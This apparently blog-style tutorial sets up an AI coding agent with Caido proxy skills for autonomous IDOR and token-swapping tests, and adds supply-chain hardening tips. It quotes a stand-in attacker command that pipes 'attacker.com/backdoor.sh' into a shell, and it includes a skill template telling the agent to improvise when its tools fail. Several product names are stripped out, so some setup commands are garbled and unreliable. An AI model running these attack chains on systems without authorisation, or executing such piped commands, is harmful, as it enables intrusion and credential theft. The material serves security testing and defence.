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Introduction
The fusion of Large Language Models (LLMs) with traditional web application proxies is birthing a new era of autonomous security testing. By integrating Anthropic’s Code with Caido—a modern web security toolkit—security researchers can now automate complex vulnerability discovery workflows, moving beyond simple AI-assisted code reviews into fully agentic hacking companions.
Learning Objectives
- Master Agent Skill Architecture: Understand how to build and deploy `SKILL.md` files that encode proprietary hacking methodologies and deterministic workflows.
- Integrate AI with API Security: Learn to configure Code to programmatically control Caido’s SDK, automating tasks like token harvesting, IDOR testing, and replay session management.
- Implement Fallback Exploitation Chains: Design multi-layered hacking agents that autonomously switch between SDK calls, custom scripts, and raw API manipulation when encountering errors.
You Should Know
- Building Your First Hacking Skill: The Architecture of Agentic Payloads
Unlike standard penetration testing scripts, an “Agent Skill” is a structured folder containing a `SKILL.md` file. This file acts as a system prompt overlay, teaching the AI how to use your tools. The official Caido Skills repository provides AI agents with the Caido Client SDK, enabling them to connect, authenticate, and interact with an instance programmatically.
Step‑by‑step guide to setup:
First, install Code and initialize your project environment:
Install Code globally npm install -g @anthropic-ai/-code Create a dedicated project directory for your hacking skills mkdir autonomous-hacking-lab cd autonomous-hacking-lab
Next, integrate the official Caido Skills package. This provides complete coverage of Caido’s API, allowing you to instruct AI agents to send HTTP requests with Replay, fuzz payloads with Automate, search for proxied traffic, and more.
Add the Caido skills repository using the Vercel skills CLI pnpx skills add caido/skills --skill='' Alternatively: pnpm dlx skills add caido/skills --skill=''
During the installation, you will be prompted to select which AI agents to install to. Use the down arrow key and spacebar to select ` Code` and press ENTER. Select either the `Project` or `Global` installation scope, then choose the `Symlink` installation method.
⚠️ Security Warning: Before proceeding, review any Security Risk Assessment messages displayed. Malicious skills could potentially contain harmful instructions or backdoors.
Finally, navigate into the skill directory and install its Node.js dependencies:
cd .agents/skills/caido-mode/ npm install
To authenticate with your running Caido instance, you will need to generate a Personal Access Token (PAT) within Caido’s settings. The skill will use this token to authorize programmatic access.
2. The Fallback Architecture: Writing Self-Healing Exploitation Code
One of the most critical insights from the Critical Thinking podcast is the concept of the Fallback Architecture. When executing a task, the most effective agents follow a layered approach: primary tools → SDK/library layer → raw API. This behavior emerged naturally in the Caido skill, likely from training data where agents iterated through failures.
Step‑by‑step guide to implementing this in your skill:
When writing your custom SKILL.md, you must instruct the model not to give up if the primary tool fails. Include a directive that forces exploration. Here is a template snippet for your skill file:
name: advanced-idor-hunter
description: Use this skill to test for Insecure Direct Object References.
If the SDK method fails, fallback to raw GraphQL or REST calls.
Fallback Execution Protocol
1. Primary: Use the Caido SDK client to fetch auth tokens and modify user IDs.
2. Secondary: If SDK fails, invoke the underlying TypeScript library directly via <code>require('@caido/sdk-client')</code>.
3. Tertiary: As a last resort, use `curl` commands with the raw API endpoint.
4. Directive: If this workflow fails or doesn't cover the situation, use your own exploration and reasoning to achieve the goal.
To test this fallback logic, you can simulate an SDK failure by temporarily breaking the authentication. should automatically attempt to use `curl` to interact with the GraphQL endpoint directly.
3. Token-Efficient Automation: Minimizing Costs in Long-Running Hunts
AI hacking can burn through tokens rapidly if the agent processes large HTTP responses or long cookie strings. The Caido SDK mitigates this by providing a malleable interface that avoids bloating the context.
Step‑by‑step guide to efficient automation:
Instead of asking the agent to write raw `curl` commands and parse massive HTML responses, instruct it to use the Caido Skill’s search and filter capabilities.
Windows (PowerShell) & Linux/macOS (Bash) Commands:
To search for sensitive endpoints without loading the entire page into memory, use the SDK’s filtering capabilities programmatically:
// Example script logic that the AI can execute via the skill
// This searches for proxied traffic containing API keys
const searchResults = await caido.sdk.search({
query: "httpql: header.authorization contains 'Bearer'",
limit: 10
});
For Linux/macOS users who want to interact with Caido’s raw API using `curl` (fallback method), the command structure looks like this:
Fetch recent replay sessions via GraphQL (Token efficient)
curl -X POST http://127.0.0.1:8080/graphql \
-H "Authorization: Bearer YOUR_PAT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ replays { id name requests { url } } }"}'
For Windows (PowerShell), the equivalent command is:
Invoke-RestMethod -Uri "http://127.0.0.1:8080/graphql" `
-Method Post `
-Headers @{"Authorization"="Bearer YOUR_PAT_TOKEN"; "Content-Type"="application/json"} `
-Body '{"query":"{ replays { id name requests { url } } }"}'
- Human-in-the-Loop Verification: Bridging AI Findings and Manual Validation
While autonomy is the goal, human verification remains essential for high-severity findings. The Caido Skill excels at Human-in-the-Loop (HITL) workflows because the agent populates findings directly into the Caido interface you already know. The agent can create descriptive Replay tabs, allowing you to open the GUI and immediately see the exact requests that triggered a vulnerability.
Step‑by‑step guide to using this workflow:
- Launch Caido: Ensure your Caido instance is running and listening (default `http://127.0.0.1:8080`).
- Run the Autonomous Agent: Instruct Code to begin hunting: “Use the Caido skill to enumerate all endpoints in the sitemap and test for IDOR vulnerabilities.”
- Monitor Replay Sessions: As the agent works, it will create named Replay sessions (e.g.,
IDOR_Test_User_123). - Verify Findings: Open the Caido Desktop UI. Navigate to the Replay tab. The agent’s attack requests are already loaded. You can edit them, resend, and validate the impact without context switching.
To configure the MCP server for this HITL workflow, use the following configuration for Cursor or CLI:
// ~/.cursor/mcp.json
{
"mcpServers": {
"caido": {
"command": "/path/to/caido-mcp-server",
"args": ["serve"],
"env": { "CAIDO_URL": "http://127.0.0.1:8080" }
}
}
}
- Advanced Threat Modeling: Security Risks of the Agent Skills Supply Chain
As AI agents gain the ability to execute code and install skills, the attack surface expands dramatically. A recent academic paper, “Towards Secure Agent Skills,” identified severe threats arising from structural properties of the framework, including the absence of a data-instruction boundary and a single-approval persistent trust model.
Step‑by‑step guide to mitigating supply chain risks:
Before adding any third-party skill (e.g., pnpx skills add malicious/skill), you must audit the skill folder. A skill is just a folder with a `SKILL.md` file, but it can include sub-folders with scripts.
1. Inspect the skill directory:
ls -la .agents/skills/new-skill/
2. Check for hidden binaries or reverse shells: Look for unfamiliar executables in `/scripts` or `/bin` subfolders.
3. Review the `SKILL.md` for dangerous instructions: Search for commands that instruct the agent to curl http://attacker.com/backdoor.sh | sh.
4. Run skills in an isolated environment: Use Docker to sandbox the AI agent’s execution environment.
6. Cloud Hardening for Autonomous Pentesting Agents
If you are running Code in a cloud environment (e.g., EC2 or a container) to perform continuous reconnaissance, you must harden the instance against credential theft. Researchers have found that Code’s configuration directory (~/.) is often mounted with read-write access, allowing compromised containers to steal API keys or plant malicious hooks.
Step‑by‑step guide to securing your agent’s cloud deployment:
- Restrict filesystem mounts: Use read-only mounts for configuration directories when possible.
- Rotate API keys frequently: Implement a cron job to regenerate your Anthropic API key daily.
- Monitor for suspicious outbound traffic: Use `auditd` on Linux to monitor access to
~/./settings.json.
Linux command to monitor reads of sensitive config files auditctl -w /home/user/./settings.json -p r -k _config_access
7. Exploitation in Action: Automating IDOR Chaining
The true power of the Caido Skill lies in chaining vulnerabilities. For example, an agent can log in as User A, snag the auth token, log in as User B, grab another token, and then use Caido’s Replay functionality to swap tokens in requests to test for privilege escalation—all without manual intervention.
Step‑by‑step guide to the exploitation logic:
Instruct your Code agent with the following prompt:
“Using the Caido skill, authenticate as low-privilege user. Record the session token. Then, using the Replay feature, resend the ‘GET /api/profile’ request but replace the token with an admin token extracted from the sitemap. Report if the response contains admin emails.”
The agent will execute this chain autonomously, using the SDK to manage tokens and create Replay sessions for each step.
What Undercode Say
- Skills are the new exploits: The open standard for Agent Skills is transforming how hackers package and share methodologies. A well-written `SKILL.md` is as valuable as a zero-day exploit, encoding years of hacking intuition into a format AI can execute.
- Human oversight is not dead—it’s shifting: The “human-in-the-loop” model is evolving. Instead of manually clicking through proxies, humans will supervise fleets of autonomous agents, verifying the high-confidence findings that agents surface via integrated tools like Caido.
- The supply chain is the next frontier of hacking: As we rush to install community skills, we are recreating the package manager security nightmare of the early 2000s. Every `pnpx skills add` command is a potential supply chain attack vector waiting to be exploited by malicious actors.
Prediction
By Q4 2026, we will witness the first fully automated bug bounty payouts where an AI agent, running on a cloud instance, discovers a critical vulnerability, writes the report, and submits it to a platform without any human intervention. This will trigger a massive economic shift, forcing bounty platforms to implement “Proof of Humanity” checks for submitters. Simultaneously, the same automation will lead to a surge in “skill-jacking” attacks, where threat actors poison public skill repositories to backdoor the machines of thousands of ethical hackers at once. The line between security tool and attack vector has never been blurrier.
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